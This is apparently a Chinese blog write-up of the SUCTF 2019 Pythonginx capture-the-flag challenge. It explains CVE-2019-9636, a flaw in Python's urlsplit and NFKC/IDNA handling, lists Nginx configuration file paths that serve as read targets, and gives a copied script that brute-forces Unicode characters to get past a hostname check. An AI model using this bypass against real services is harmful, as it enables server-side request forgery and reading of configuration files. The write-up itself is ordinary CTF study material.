刷题记录:[SUCTF 2019]Pythonginx,, 目录
刷题记录:[SUCTF 2019]Pythonginx,, 目录
目录
刷题记录:[SUCTF 2019]Pythonginx 一、涉及知识点 1、 CVE-2019-9636:urlsplit不处理NFKC标准化 2、Nginx重要文件位置 二、解题方法刷题记录:[SUCTF 2019]Pythonginx
题目复现链接:https://buuoj.cn/challenges
参考链接:2019 SUCTF wp
SUCTF_2019_部分复现
一、涉及知识点
1、 CVE-2019-9636:urlsplit不处理NFKC标准化
https://bugs.python.org/issue36216
2、Nginx重要文件位置
配置文件存放目录:/etc/nginx主配置文件:/etc/nginx/conf/nginx.conf管理脚本:/usr/lib64/systemd/system/nginx.service模块:/usr/lisb64/nginx/modules应用程序:/usr/sbin/nginx程序默认存放位置:/usr/share/nginx/html日志默认存放位置:/var/log/nginx二、解题方法
抄个脚本
from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: passdef getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return Falseif __name__=="__main__": get_unicode()
虽然想到可能是编码的问题,但是没动手去写脚本跑,懒狗一条。
还有wp是github上搜到的,不愧是全球最大同性交友网站,下次不能局限于百度
刷题记录:[SUCTF 2019]Pythonginx
评论关闭